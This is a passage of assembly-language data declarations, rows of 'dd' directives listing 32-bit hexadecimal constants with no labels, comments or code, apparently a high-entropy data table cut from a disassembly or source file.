0EF5FFC11h, 5FBE4B34h, 0CA1A55B5h, 0BF6813C4h dd 1A0CCFA1h, 972B7BE8h, 0E057432h, 40354F8Bh, 0C193017h dd 0A14BD068h, 0AA76A471h, 0A47CFC2Ah, 8F7CDFBh, 0FC45D598h dd 0E53BA05h, 0F50F71AEh, 26642E40h, 0DB8F0F21h, 0CB21F723h dd 0D82A93Eh, 1F54F711h, 0F4B768h, 0AFBA572Dh, 2E4048C1h dd 0AED2D2F9h, 0BD3CFA3Ch, 15AB552h, 0E7A666EBh, 7129B025h dd 0AED94490h, 0F8CA04A8h, 4B061118h, 86B49988h, 64A515EDh dd 2D10BE2Bh, 2C83940Eh, 0B0100673h, 0F0CE98A7h, 3B2A06D0h dd 1C732939h, 84173B0Eh, 222FB305h, 0F95397DEh, 6AC9EB05h dd 265393C4h, 441E5DBDh, 0BC505401h, 32C908A7h, 8911282h dd 0EB42128Eh, 21E6BE16h, 0E98F3FEEh, 909FB41Bh, 414424B6h dd 3401CDA3h, 41CC4068h, 223B2915h, 1120257Ch, 0DA211090h dd 3EF72FADh, 4902921Dh, 5CC58FBDh, 0E795F808h, 99924C4h dd 85C76240h, 10059FACh, 0B0FF8C3Ch, 460E16F5h, 49A43FF0h dd 0C37CDE07h, 0D090741h, 2305F204h, 0E271673h, 23AE8464h dd 985B3B00h, 29FD64EAh, 0FDA86F24h, 16FAFD78h, 0B8E1308Ah dd 2033568Ch, 775BF052h, 0E574DCB7h, 0AB8F358Dh, 0B7F0A2B4h dd 57D2D9F4h, 12CB646h, 1262A574h, 9CF55C27h, 6FDA24A5h dd 1DFA73C6h, 0FC630980h, 0A89E228Bh, 5B5D0A3h, 40B7578h dd 4526E318h, 5BD279EBh, 6C9B7CF7h, 6B6BE80Fh, 63C5D75Ah dd 0BB4328A2h, 240B5128h dd 0C875FACFh, 0C2A39018h, 46446839h, 48F8567Eh, 0A24C0E4Ah dd 0F87E2C72h, 3F3B6885h, 0FAF34AC2h, 0ABEAF416h, 0E2832763h dd 5E7BD548h, 0F9B64231h, 42A6BD5Ch, 0B84514FBh, 0D81738Fh dd 0B2842C08h, 8D760C52h, 0B8DDBC45h, 0FB56E872h, 232491B3h dd 0D529408h, 0A2B51A2Bh, 25EE231Ah, 48683805h, 4650B774h dd 0FBEE11B4h, 255AB4FCh, 0B8B2DBF9h, 0DC5F52Bh, 0F1FE4C0Eh dd 213D311Ch, 11BE2047h, 8A1A508Ah, 0D2A51881h, 4C089756h dd 691288FEh, 2108AAC7h, 4B8B952Ah, 745FC74Ah, 0A25622CCh dd 9AA6C63Eh, 6823199Dh, 0E8093422h, 19773CADh, 2C3A4C1Eh dd 0ECB34F61h, 452ECEA0h, 48C4C91Ah, 641F554h, 0D2044A2Bh dd 5F114E0Bh, 0C0BAD10h, 972D5668h, 8B654EA1h, 84821BCh dd 0EB8A24C8h, 0C7084AA3h, 89AFA31Dh, 3346863h, 230CB1A1h dd 2FE81500h, 59294A8Ah, 979EF230h, 0EC591DEh, 0A468A888h dd 0EBF4131Dh, 4B8BFB14h, 65D4AC12h, 0B699AB0Eh, 81F7337Bh dd 76220C40h, 831129A7h, 0A6AFCC2h, 981F1AD5h, 913FF2ACh dd 92154867h, 2D27AC0Ah, 60935E2Fh, 0CC8468FCh, 85E7EBCh dd 2E0468F8h, 7565E389h, 71B5839Eh, 74535A2Dh, 0F5840F89h dd 131225E2h, 0C9ECE370h, 6A890CC9h, 6F3BF47Eh, 0A25808Ah dd 431AC12Bh, 1D438189h, 0A0830A2Ch, 0E8063FD2h, 8CD0D3F9h dd 8FCE431Eh, 7E9590B8h, 0EFB7DE25h, 37BE2612h, 671C85AEh dd 8044B87Fh, 4DAC3B22h, 0C4E49E81h, 7444E925h, 8B02E966h dd 6A000820h, 5EA86816h, 182F31CDh, 8C8B3A23h, 8AB71040h dd 58509BD4h, 3E669F02h, 4E580842h, 5E92CB92h, 3EBA6DFEh dd 0D14DE61Ah, 6D229ACDh, 277A729h, 12F7F04Fh, 0A068E85Ah dd 0E8C143DEh, 0B76E3A8Eh, 7EA4DEBCh, 0BC96F5A7h, 4FE8E8FEh dd 24C85E94h, 5A1ACC51h, 23EB10AAh, 908FA9A8h, 0E8F4A3B9h dd 5290680Dh, 5E715BCDh, 0A268B83Dh, 11B45199h, 4BEC88E8h dd 7E9DE970h, 7C685859h, 0D62134A6h, 0D4101C39h, 40D17BDh dd 17121175h, 0B6609B2Eh, 3368E958h, 5441AEDh, 19810368h dd 41629E0Bh, 2884E702h, 1034A706h, 35E53701h, 168CDE55h dd 455B9AF4h, 7A823BD4h, 2B89B974h, 0BA21BD4Eh, 9DB6E095h dd 69681CE1h, 39278826h, 8660716Ch, 0F3E8F408h, 0E655693Ch dd 84E47803h, 75010680h, 45E01A4Eh, 0EF26A658h, 7626B19h dd 6453775Eh, 962C0E14h, 5062792h, 0E6177947h, 3023500Eh dd 0B22E0215h, 8417BC19h, 9DD6B52Eh, 0D6094C51h, 0B4901A53h dd 2C3817C4h, 600DF706h, 2284F254h, 0DC9C1103h, 0FDB3F613h dd 868F1444h, 9492F795h, 20141122h, 17922851h, 0D6EE7E32h dd 31274587h, 11FCFA1Ch, 15428539h, 830B174h, 8E1E71Ch dd 0DC48FB76h, 56479826h, 892161FAh, 721A77A7h, 503F83D4h dd 375F5EA1h, 92645622h, 0F6DD0F2Fh, 9FFAD8E4h, 0CF7900FEh dd 3B32ECF3h, 31B33232h, 24181E40h, 0F951AA90h, 3477BD16h dd 666C270Bh, 32365BF8h, 0EE98B433h, 148AE695h, 9C1556A0h dd 51C0C68h, 5F5CFE8h, 281BEB6Dh, 0A5D1128Fh, 0F741C56Ch dd 0CC18EECDh, 6C1F4B1Ch, 7406498h, 49687F57h, 0D8C47F02h dd 369821F9h, 0C5873D0Bh, 0FAE43088h, 5D45B442h, 7409F973h dd 0E6B3291Bh, 0A99B571h, 0E933487Dh, 0C495CA4Ch, 0F8F6F9D4h dd 40DF379h, 0B20D2507h, 0D5729B7Ah, 0E4146C4Ah, 0C7430EE8h dd 6F7AB7D0h, 2CC214C8h, 0ED6C753Ah, 8A436C56h, 6A9F7B89h dd 51EB596Bh, 35D38965h, 0F11793Ah, 0BF5A486Dh, 9600DA9h dd 0ECAAA704h, 14A670B9h, 8409E485h, 59A1835h, 0BC3F7EE9h dd 83DC94D6h, 0DF4A9FC7h, 0D86271D3h, 618811F9h, 45AC818h dd 0F412BC8Ah, 0A359FCFDh, 0F878DCF5h, 3D1BFE57h, 0B64BC7F9h dd 5A6143A1h, 7F0AB772h, 0A1B40508h, 721E646Ah, 0FA262C5Eh dd 16B811E3h, 919BE36Eh, 60F68428h, 0A293662h, 124E1906h dd 4DF18DABh, 3240D826h, 6594FEBFh, 1076F9ECh, 0E14A0C60h dd 5873B41Dh, 21FA0617h, 3FD6A5Bh, 68088702h, 0BC03130Ch dd 7F95CD4Fh, 910CA83Ah, 1402C849h, 1C82575h, 0A8A91CFh dd 2B235346h, 8D036586h, 110A145Eh, 319077B6h, 4E1C60B4h dd 966A858Ah, 0B41B3773h, 89182145h, 0C62AB891h, 80010918h dd 537589A5h, 32FE1252h, 0E0669FB2h, 88308A54h, 5FE524ABh dd 973C2A30h, 0E0420676h, 3AD2964h, 0C85E2263h, 946847DCh dd 2371E1CEh, 44AE4EF8h, 2733A9F1h, 0B844369Ah, 4F31426Ah dd 0CE187704h, 4F886124h, 0BB252A9Dh, 0B757E71h, 85E4126Ch dd 862EBC6Bh, 0BCBD51E8h, 0B1413406h, 7E771914h, 341E2EB4h dd 0EC3736E8h, 1E2B2AB4h, 748D8B28h, 42C96928h, 72C13B13h dd 5FF78D0Bh, 2C24F765h, 0B532DB50h, 4F5AA8FCh, 46C28848h dd 104D3A6Bh, 0B3354F14h, 0EB028447h, 0EC89BA86h, 2042D30Bh dd 34173815h, 14951262h, 0B0880ED9h, 30D24EF9h, 96E823A8h dd 0B2A03256h, 0EC310773h, 0F66BB503h, 9E03652Bh, 7391A21Ch dd 0E6012C0Bh, 0B9134C64h, 589011D3h, 75648476h, 0B9BB0F74h dd 0DB40CB2Bh, 0FCA8885Ah, 997B748Bh, 92C2E862h, 2EEB6AE7h dd 0C1D0D035h, 0B31CB12Ah, 2F0B47Ch, 31E3E817h, 899B2D5h dd 6020A10Eh, 3E488914h, 1E68821Dh, 8ACF4B33h, 14295B5Ah dd 0AAC8330Eh, 1017EBA6h, 8CB5C492h, 84134430h, 9A79EB24h dd 6228D872h, 0F8A4D070h, 2024221Ah, 936F6C0Bh, 48A411A5h dd 0A5847C92h, 262EA250h, 781B0468h, 64849B34h, 0CBA46A10h dd 0F51E48A4h, 0EF1797BAh, 0C4D48BD1h, 402CA07Dh, 0DAF18B15h dd 78286BFDh, 0B2ACAA16h, 578DD57Dh, 0EA1D7AC3h, 0ADDF34A2h dd 0DDFDAE1Bh, 14DF9BA4h, 0E186CDC0h, 1C089AAEh, 9345FA1h dd 0BB163B67h, 8EBAB65Ch, 5D344983h, 0A16AA5F9h, 0BE37EA12h dd 3FB7E8B1h, 14A2FD28h, 74B1082h, 44B21451h, 5AEB22C8h dd 6F9BFBF7h, 0B19185B2h, 12937557h, 2D2DA325h, 13DFA772h dd 30E882D8h, 8909F37Dh, 0C451CACDh, 130D1015h, 0AC2D3439h dd 83AC0482h, 0A9D4147Dh, 8949E862h, 0DE4CF730h, 1518010h dd 40128F97h, 39D17613h, 28EF4B09h, 37A41208h, 0ED75D042h dd 255F84D7h, 32370CC6h, 629B6F72h, 0FB372FFBh, 1C6F2139h dd 2A6258BBh, 0CC42372Fh, 8401E075h, 906E6DF9h, 20C656Eh dd 1CFA3727h, 0E8449025h, 682F5F52h, 6888AEDDh, 7754BD08h dd 2792C4CBh, 713FE8h, 10C76A99h, 0B605299Eh, 29462C3Fh dd 0FC5E885Ah, 1A888915h, 0F419646Eh, 0F0511E08h, 0D1752202h dd 103D6876h, 2E53DC26h, 0CDF0B098h, 0E52FF406h, 9404DB0h dd 687A0C5Dh, 9DCE7C2Fh, 349C88EDh, 4458F688h, 91813324h dd 0E37B049Ch, 0FCD0C477h, 0B2E8221h, 8BC4713Dh, 5E018AAh dd 2184CF28h, 4A08FE54h, 8544B98h, 0B1FCCC08h, 15FB7C0Eh dd 4C9993B2h, 214B51D4h, 3C763A44h, 4029818Ah, 5E07ACEAh dd 67FB4F78h, 0D0309F39h, 5F0D4207h, 0BE226F3Ch, 18D7BF96h dd 84F8734Bh, 2DDB21FCh, 1E430877h, 14809499h, 0C8612361h dd 978A0C3Ch, 9654900Dh, 7A805B0Ah, 0EA93D72Fh, 598A767Dh dd 21D16433h, 7008052Dh, 0ED76FB42h, 0FC43421Ch, 8F423E9Fh dd 308CF345h, 84FB4780h, 4528FC42h, 1850DB4Eh, 4325A640h dd 2ACD92DCh, 5074D4EBh, 61E42E6Eh, 618A3C1Ch, 0B087E50h dd 0DFB2BCFBh, 0C6266C12h, 80011F24h, 6A247865h, 0F0815891h dd 6808AFBBh, 9A3CB7FBh dd 0DF12B327h, 3EDE726h, 0F0FB2544h, 5A20526h, 142B3274h dd 4B39E4A5h, 298AB612h, 49BBF374h, 0AEA3881Fh, 2CC86E98h dd 1E5D6465h, 9AF024A1h, 9BECE744h, 9DFB8021h, 4823E264h dd 677C922Ch, 1B6878D6h, 0F9385025h, 0FF9FA829h, 554084C2h dd 717F1A72h, 67E809CAh, 4C18926Ah, 0F1C42BF6h, 0CB9D1EEBh dd 4C72BF22h, 0CBE17FCEh, 25100895h, 3909BBE9h, 0B0E70951h dd 39D7EB68h, 0BE3513D1h, 0D5E23D7Bh, 852209FDh, 0C99F0C68h dd 4BB4DD39h, 0A06D215Eh, 1CB5518Dh, 0F457D3FBh, 0D9D9B7BFh dd 37635D96h, 2B2FAA58h, 4717F9CDh, 0FE2A12BAh, 3927D88Fh dd 0F7956658h, 8443C0B6h, 212B1C1Ch, 0CF586805h, 0B32D9CEEh dd 57803C7Ah, 8D679755h, 7E03C089h, 8FCD196h, 0CF2A42E3h dd 680971D2h, 0DF7ECF8Ch, 842AAE58h, 0FCA58316h, 0A85F98A7h dd 0D25E4EFh, 0E850AFCFh, 126A8893h, 62991AAEh, 42F8E847h dd 80DE397Dh, 13430FC8h, 59F5FFC5h, 70620D34h, 403A1A74h dd 0EA5C91C2h, 922181ACh, 0BB2522E4h, 8A0E7010h, 40CBBD32h dd 86FDDB35h, 4B3C1057h, 7EE926D8h, 0A5808048h, 44E9A8BDh dd 0A6440ECCh, 93D62FFAh, 0FA40E199h, 3455ED22h, 0BB87B0BFh dd 9B5C9F29h, 1DC13E7Eh, 0CFA410C2h, 3D4052A1h, 6F53242Bh dd 8902BCD0h, 4439D6B1h, 4874F64Ch, 63B26F29h, 76DE5E8Eh dd 8780C70Dh, 6482FE4Eh, 0A448564Bh, 0DD2FA877h, 0AC3AFB0Eh dd 3674B1E7h, 90256362h, 3DB3586Bh, 562B7120h, 68823150h dd 51DDD028h, 92F543F7h, 0EB8B78B7h, 0EAB5255Eh, 0E8561890h dd 7D35A408h, 726DA03Bh, 68058F24h, 3C28CFF0h, 101586B9h dd 0B22422EBh, 95461EC0h, 0E131BA4Eh, 0AAD54ABh, 12E2157Dh dd 4E94F605h, 0F3871412h, 41855061h, 28CE163Ch, 0C7A2EA12h dd 46B1ABF5h, 91B1B82Ch, 0E7BC3A28h, 9EA60B1h, 42B873F2h dd 980A36EEh, 65307F12h, 0B5280DE8h, 697920FCh, 0A2B9FC7Ah dd 4EB346F4h, 7A2CB1FDh, 0F4A0B7F8h, 1420405h, 9836E713h dd 5886F442h, 40A6590Ah, 0EC580E43h, 10F5CC4Eh, 5E0895D3h dd 0A7F4C7D0h, 0F98B98C1h, 0E476D151h, 761453DCh, 1B40A2EFh dd 7B1627BAh, 8B668874h, 0EF04C49Dh, 0EFF9A754h, 0A9092184h dd 0FD40B197h, 19535F11h, 28E0503Ah, 85B70F81h, 500F9946h dd 0C5374411h, 8B55FD22h, 0C8706468h, 5021D042h, 4590FD88h dd 8AE3AB1Ch, 0E9513D5Eh, 0BE854407h, 8497BAB9h, 0E23E254Ah dd 0B20F344Ah, 8D089319h, 0C13B6540h, 5B8A907Eh, 0E731AE1Eh dd 7656FD34h, 0E0B0CB3Ah, 6BC2B94h, 0D7A41921h, 0BE0B3250h dd 88FC206h, 2F923031h, 10465D66h, 14EE4205h, 5012BD83h dd 68A714B7h, 0F94F7F90h, 118D5A33h, 19B10378h, 0E18B1C09h dd 0B8A59EC2h, 1F7D5172h, 0C6160ADDh, 0FC3A2845h, 27EFD57Ch dd 6F397563h, 0E16C0828h, 623F8849h, 9418A77h, 0B4A93B88h dd 6B65801Eh, 0B468E2BAh, 0C48B3947h, 2270CC8Fh, 6AD4FD2Ch dd 75E9F13Ah, 8862F1E2h, 0C24209DEh, 25502BFEh, 4E25B720h dd 8C2CEA2Bh, 0DE0DD6DBh, 21674258h, 325DE478h, 0E34E8418h dd 6AF57125h, 8B416751h, 1150CD28h, 9E1A4CCCh, 95EA06D6h dd 164CB2E1h, 463E2571h, 69C5A026h, 22514085h, 700EEC20h dd 809163DEh, 0E8C2AA48h, 0D17524D9h, 0B367E546h, 663B3100h dd 10BA1276h, 7E8FE2CAh, 0FF4998BCh, 1AD96DE2h, 8B37746Fh dd 0AD9913E4h, 977C1AE3h, 0B675165Dh, 0C1527E1Ah, 3AE02137h dd 0C81A37DEh, 0FB2DE1DCh, 2E2440B1h, 66FDA099h, 0BAF126Bh dd 0C0128854h, 12EC0E11h, 0C47A2806h, 9DC0A09h, 5E1BD727h dd 4ADD4DE6h, 1B0848B2h, 3824CF42h, 418C79D8h, 0B41BF2F0h dd 2BCD0C0Bh, 1005FC04h, 5823BD31h, 0B076FF7Dh, 0C59078A4h dd 1A06802Fh, 40B0427h, 1032B275h, 0FCE8D110h, 43B06811h dd 894DC410h, 0E8457C20h, 4CF80C87h, 85A08D5Fh, 545E6850h dd 9F4733AFh, 2CBEDD4Eh, 0CC9F0790h, 0CA6C477h, 5CCFD740h dd 1087F458h, 868AB873h, 8328F99Fh, 89C833F4h, 0DE8BFFACh dd 7CFAF020h, 36AB074Fh, 2B690F3Ch, 279E5D24h, 1991868Dh dd 0EB0704E2h, 0D552833Ah, 7154D65h, 0D533DAC0h, 5B91B465h dd 0A325FE5Ah, 0D764E2AEh, 6A4ED9AEh, 0C484A0E9h, 8256DD1h dd 4FC968Bh, 7D2A8A73h, 79B17D97h, 0C15F0ECh, 0C8920A4h dd 0B9AC1528h, 0BB0C4C8Bh, 4616A85h, 3196E857h, 0A09EA869h dd 2D526DFBh, 0A871A6D2h, 0E83CCC41h, 719F2102h, 0F40BD11h dd 9075054h, 15E8089Fh, 0AB3A69ADh, 0CFADBF14h, 3498149Eh dd 712A153Fh, 3F84559Ch, 2ADFBA95h, 9E5E14Ah, 651AC60Fh dd 85051876h, 0FC9F6CEBh, 94F4641Ch, 14B7FF9Ah, 5E6E420h dd 0D377433h, 4631B202h, 516C53B3h, 0AE8A7C22h, 1C965239h dd 719C83E0h, 62A78A1Ah, 0AD7B158h, 5701C513h, 0A5755AF8h dd 634BAB2Bh, 678FD155h, 0CC47EBE0h, 17C4D490h, 0A3062C21h dd 80301054h, 0D37B8EFEh, 0D48488F2h, 4D115CFCh, 8B954188h dd 42044A3Ch, 0D822D2E0h, 8ABB49A2h, 7CC28F54h, 96F91AFEh dd 1FF88A12h, 0E264888Bh, 67E3804Bh, 5E34AB5Eh, 20CF6621h dd 3CF9C74Dh, 845041ADh, 16DFDB95h, 0A26FFCDBh, 0B87B823Ch dd 11A3B220h, 65168A0Eh, 76814044h, 70E184BDh, 0E2A73EDh dd 0D4B7128Bh, 24EB4B21h, 2A1A1042h, 30840A8Bh, 0C854A4D1h dd 4936C864h, 4E86A82h, 4D445691h, 1119DA88h, 88252B4Ch dd 4551E959h, 3C3C0D94h, 28E4D6FEh, 141FA144h, 98104A52h dd 891FF82Dh, 348528Bh, 0D1285CA9h, 48BA4C0Fh, 92D86888h dd 0E158DE33h, 0EB99F210h, 0D5C86F24h, 3024A948h, 38D024F2h dd 38448ECEh, 18C85268h, 28E4B688h, 471CC022h, 1034219Eh dd 3986E2B8h, 0E10E142Ch, 0F09D138h, 0EEFFDC84h, 0CCD2BD64h dd 4C3B6489h, 832A0F8Eh, 28521BC1h, 0C4B42328h, 86993C28h dd 8C233446h, 713C34C4h, 232C4686h, 3C2CC464h, 29408A49h dd 3C99FB3Ch, 4584F7BBh, 6ACF24Ch, 0FA423C18h, 0BC08ED76h dd 0ED76FB42h, 8D81FA0Ch, 10FA0655h, 30CFF689h, 1E8A1691h dd 0BC1199E6h, 9C6815FBh, 1038211Ah, 0A43CA270h, 28328C34h dd 680A5611h, 7C1034E4h, 3C4434C8h, 6C4E122Dh, 22082C19h dd 7A11AA7h, 0FA4FE884h, 381B8ABBh, 692E41AAh, 0E4273880h dd 8B76B874h, 0A344851Dh, 2F46A586h, 6F40682Ch, 84874C78h dd 0D4B8E197h, 115C722Bh, 3F5B916Eh, 938AC2A8h, 0FE7C8872h dd 1A350768h, 86296212h, 686FC72Ah, 79D914C4h, 1A428328h dd 0FD5BE90Fh, 114942D0h, 8A2C1CF6h, 688867BCh, 697BB548h dd 0C753A846h, 4590FACh, 86AC120Fh, 0D421C1B6h, 6948C208h dd 0AF1D0EF4h, 0EA92EC1Dh, 88C433A6h, 8E106B1Ch, 0D308C410h dd 4A441E28h, 0C4647B5h, 1F6FDDB8h, 0B0DC9A12h, 0FFC2DDDh dd 3BCD3457h, 38C4F410h, 27CA1C42h, 38982C67h, 285BF625h dd 16D20528h, 91D8274h, 4F068D95h, 5351BAE0h, 0AF4B2608h dd 0D19C164h, 0DECD152Eh, 0CDE463Ah, 0BD51FBF2h, 3D7DC006h dd 0F410DFA0h, 8B47E388h, 0F0306A11h, 0FB11EF4Fh, 24A0AD5Bh dd 2EE91626h, 0CAC6F80Bh, 0D127E9C6h, 0E80C930Ah, 806B9E1Bh dd 9F2834B4h, 680A0B75h, 13024003h, 636A5DE8h, 0E4CB4E12h dd 24BA855Fh, 2911FF35h, 9192760Eh, 5022E2F1h, 6850EB38h dd 20067C13h, 681605A2h, 6741D570h, 0A146A1Dh, 0A04A21E8h dd 11CD8F0Bh, 0C416C853h dd 0D4AF252Ch, 429F2F01h, 842CA8E3h, 680A4B28h, 1B485382h dd 7D84D53Ch, 91258414h, 0EC2AB084h, 61408AFDh, 0FB84F5ACh dd 3EFA0DA6h, 0E5428B7Ch, 1D65C5F8h, 0F0C4FCF8h, 11AD53F5h dd 85B6A379h, 8E0CF226h, 2A0DE1F8h, 5651A888h, 0BF4B7309h dd 0D3400CCCh, 8D31C123h, 8B3F40B5h, 3C5A5FCh, 8B333868h dd 0FFA04EB8h, 0A018E828h, 8AF2088Ch, 1E028EA5h, 79C7FDD9h dd 0CA409F3h, 1B2A7217h, 1CC3F89Ah, 91181087h, 0B5502938h dd 0AE183DCCh, 3C0CF1ACh, 1B1C52C9h, 186CB4A4h, 2A1C4286h dd 23F7547Dh, 4808C8A4h, 5050C473h, 0F1F81260h, 724B1564h dd 0A3E6FF89h, 6C1A14EDh, 20189610h, 6FA90815h, 3E358F1h dd 0EFB8DF83h, 0FF3F613Eh, 857C3E87h, 1C1BE0C2h, 26401043h dd 0A183A550h, 7710E4EAh, 8546488h, 0B2D16E14h, 8141910h dd 0DF5BAB93h, 99BA4EB8h, 7A319C3Ah, 670A1466h, 0EC51EAF4h dd 2AF811E6h, 1F8D74AAh, 0C7EAA96Ch, 0A7CA1907h, 34682E02h dd 0F021E846h, 0A0CE4FDh, 0EA6EDFE8h, 1C450718h, 0F310ED2Fh dd 68F48A1Ah, 48F00488h, 5308C4F9h, 34194094h, 0F85818B0h dd 4107A3E8h, 0C4B2828h, 10EF0888h, 0C1044C8h, 864A3DDh dd 87110C32h, 16B97A57h, 662ED00Ch, 0FA62E812h, 808D0192h dd 0C13B496Bh, 0FC834A0Fh, 14A5854Ah, 1110C262h, 41FF3CEBh dd 45686C09h, 3B0E0808h, 733F9EA6h, 2AAD534Dh, 0F2F1403h dd 0D07129B6h, 0C63F80F3h, 4051084h, 0EB2C0AF6h, 4173231Bh dd 0B26F1CD4h, 91E4163h, 7B2A22Bh, 0F97EB29h, 2270D825h dd 74D1F603h, 0CDAE93A4h, 6D60ABE0h, 57797F49h, 15F8048Ah dd 2170FC88h, 0F2108812h, 8E662871h, 9FA20888h, 11FE405Eh dd 7417454h, 0A9AA043Bh, 287521F5h, 0D64A624Dh, 171FB528h dd 38D4E868h, 8042365Bh, 0DC68157Ch, 83F456D4h, 1184A81Ch dd 0F120C482h, 4B84D539h, 5FE809BBh, 0C5C0FE16h, 48173C38h dd 0AD407986h, 34264439h, 0BB1BEDF1h, 14E6694Bh, 21C23B3Bh dd 7F74E284h, 43681810h, 775AA278h, 3810F672h, 485FFF0h dd 8971EBF1h, 437F034h, 419F379h, 990E2408h, 0B2342004h dd 0D2E5948Ah, 1D082830h, 1CF63881h, 80D10E84h, 7DEB1407h dd 0F84E430h, 62DC8748h, 49B63C75h, 40F88305h, 147C2874h dd 1474212Eh, 0C3215F59h, 6A48140Eh, 0D046383Bh, 2EE9B17Fh dd 4512B2EEh, 580F286Dh, 0CCD8906h, 0DA8B7183h, 3FCF60D6h dd 8407A0E1h, 0CAD6DF5Dh, 0BD103904h, 825A8D2Fh, 48328B55h dd 0F0433CBEh, 24D47484h, 0ABE8124Fh, 0AF94FF14h, 51101787h dd 2D42D5D4h, 0E8154746h, 248A2E3Ah, 0D22D118h, 0A06984E6h dd 0BAA0212Bh, 17E81323h, 69D1304Eh, 17AFD1F2h, 0E450F0EAh dd 44445F3Ch, 4990906h, 0DBA46B26h, 0B3A4131h, 886F49FAh dd 7D057834h, 5AE9F884h, 28DF49B5h, 0C82D749Dh, 4A1C682Ch dd 0E84C28D4h, 64C43B57h, 14226936h, 0DF20531Eh, 9E21790h dd 6A29DF94h, 49A61308h, 2271825Bh, 20C5D40Ch, 12DDE885h dd 67754320h, 17045268h, 0DD53C6C8h, 2FD3F62Eh, 0D3BC1065h dd 597C0FE1h, 0F11263F6h, 100ED474h, 38B4124Dh, 79863617h dd 4439AD40h, 129B3514h, 0AD9E60F2h, 127B622Eh, 13FB7FC9h dd 77C5F010h, 0A13DAB11h, 0A4617518h, 0B6E92516h, 0CDC67409h dd 81D4EA96h, 2452F7FDh, 70F17B01h, 0ADCB72E9h, 769B448Ah dd 2BC8488h, 79AA12D2h, 3C2445E1h, 7A5BB0B2h, 0FCCFE599h dd 533CC644h, 6F28B00Bh, 3C0C7250h, 0D4B5F45Ch, 9D9EB4Dh dd 0DE503D41h, 3EB9CC3Eh, 3D624BBEh, 439D3510h, 0D5808821h dd 8B4EF450h, 9CF53ADAh, 13FD95F7h, 8438FA65h, 0ECAE1086h dd 90AD9BFh, 622F8459h, 2136D842h, 0D508FA48h, 0B8B75B0Fh dd 3C2DEBA0h, 909A71FAh, 7F4CAFBh, 0FC62F844h, 0BBFA4430h dd 86F9BCBEh, 0BD810780h, 665506A2h, 0AF15E3C1h, 9570C9F3h dd 1C29029Ah, 77EDCAF5h, 0D6AC4683h, 0E81A60BDh, 7C971383h dd 0AF0AC52Ch, 688568F2h, 0BF222C98h, 0D93D1159h, 210AF843h dd 3C9EE48Ch, 0E9348EFCh, 0A908E160h, 0AD504D40h, 2714F50Fh dd 53D64C21h, 0FA3C7111h, 0A71FF192h, 85756C15h, 2234E43Fh dd 0F4213E01h, 0D36872FBh, 2D84FBE4h, 0B17F4074h, 12A9373Dh dd 2EA5BC5Eh, 0F2AD667Dh, 315D9725h, 12901CA6h, 0B3A0D3FCh dd 4DFA4448h, 0DB343A46h, 0AB1C34AFh, 0E7E24A12h, 5767AE5Bh dd 0B4219FCFh, 341F6289h, 210BF91Eh, 3D3044F4h, 0EAED16F2h dd 7C0F2C39h, 0FBF08885h, 0F23D28E4h, 6B925C3Ah, 0F8F0C6DDh dd 2C06A930h, 6822010Dh, 2AB131A4h, 0E882B7A9h, 1A5F7757h dd 6DE03057h, 8097BF39h, 0D60D3B08h, 88014121h, 6050D6B4h dd 37B28B5Bh, 7A45B51Ch, 0D4E0D142h, 0FEF62FEBh, 0E655345h dd 0FBA7C5FEh, 4E546498h, 1543F61Ch, 0C42B3474h, 78A8817Ch dd 0BD2C202Bh, 642D1EE8h, 95022D27h, 3EFE579Fh, 7B299844h dd 781DBD4Bh, 0EF4CB77Dh, 2B1BFC2Bh, 0E953623Eh, 6F0DFE8Ah dd 211C7245h, 51D46820h, 0F64EE8C1h, 110525B1h, 459068EBh dd 0D730B102h, 443C2C12h, 90850346h, 0F10A88A4h, 16041224h dd 4675E842h, 0F6BFD2FEh, 0A4B8383Fh, 4A886B19h, 6857020Ch dd 0EEE03ABh, 8E9EC21h, 0B6590BC7h, 0C42629EEh, 0A7B533F4h dd 0A1A8DD1h, 6C1230Bh, 4A11DCEEh, 9B8FBE6Ah, 42BBB421h dd 0E8094C90h, 0C0B0378Dh, 0F5820679h, 0C8C4B37Ah, 6859EDACh dd 0D721460h, 0A841AF3Ch, 250648EEh, 0B4422A5Eh, 4D891CEFh dd 8A2C1C40h, 21FAE655h, 2F08EFB8h, 0EFB8500Bh, 4A8B5584h dd 4767EF2Ah, 0D02BBCD6h, 57D12D5Eh, 0C574AF92h, 0D811682Eh dd 5C48436h, 7EB0A819h, 0CC4B32F6h, 0E95BE048h, 0B15E24F6h dd 0DB1B1772h, 58980791h, 57AD5C46h, 6D728164h, 0D0D0782Ch dd 0E4359C3Fh, 0D8628333h, 99D0E9B4h, 8B12F054h, 0E9958846h dd 0F408D94Eh, 1F10EB42h, 80108074h, 0D8ED8CA5h, 0EEB40E5Bh dd 28B17D8Ah, 283BF2B5h, 811E9C2Eh, 13A79D14h, 0B42239DAh dd 6DD3A1EEh, 0E3930640h, 1064B5FEh, 0FCED9C22h, 3A14A8B3h dd 50D28CE4h, 0E81E38BBh, 2718E941h, 0A50A4A03h, 98289BC1h dd 0C8C0111Dh, 31C9CFEFh, 8810C88Fh, 348E6467h, 0DCBCBF0Ah dd 8C63A466h, 9BE2920h, 5CA81145h, 1028123Fh, 914B0329h dd 2979482Ah, 49FFE854h, 201DFE73h, 17BD51A2h, 2536C46Bh dd 7B5FAD09h, 0AA8B0440h, 225AD82Eh, 23FDEFD0h, 84BE4A4Ch dd 761FEBD4h, 750D8D54h, 0A4810433h, 1F24CCD8h, 29D0F806h dd 3BC12A2Bh, 8A726738h, 0C41BEA73h, 0C02CC08Ah, 3BA604E8h dd 3E58D847h, 3EF235D1h, 5F03FA2Bh, 425CF990h, 656E90B1h dd 0A1074078h, 0A47F06F8h, 21FE0368h, 0CED82D0h, 0BD1EA416h dd 12A6627Ah, 2BFBD489h, 882B62B3h, 2C0C6421h, 99318ADAh dd 0BA84DF66h, 6A61BA8h, 92408D48h, 349711AAh, 0A60475E2h dd 7198216Bh, 7219E6E8h, 0DC800F15h, 0DA7948B1h, 0DECF080Ch dd 7DFB29C2h, 0F0BF546Ch, 42B1BE8Dh, 0ED73E648h, 8286F93Ch dd 0B00D1207h, 0BF58731Ah, 1129BAEAh, 958CD1D7h, 0C6CE110Ch dd 0D11D2D0Ah, 3E231B0Ah, 1C0FE44Dh, 8DEB2E0Ah, 446D687Ch dd 882A3489h, 18884046h, 4D66996Ah, 198D5112h, 2B21AD7Bh dd 7FC0854Bh, 56EB027Ch, 1F8413B8h, 3EA50A7Fh, 156D9374h dd 80C98040h, 2E348A9Ch, 0F3AB10FDh, 7D5F52D4h, 740C7025h dd 0E64C506Eh, 867D7F84h dd 10902487h, 22E734B7h, 0C0943259h, 109E5597h, 0DCA52486h dd 68C263E8h, 2128E680h, 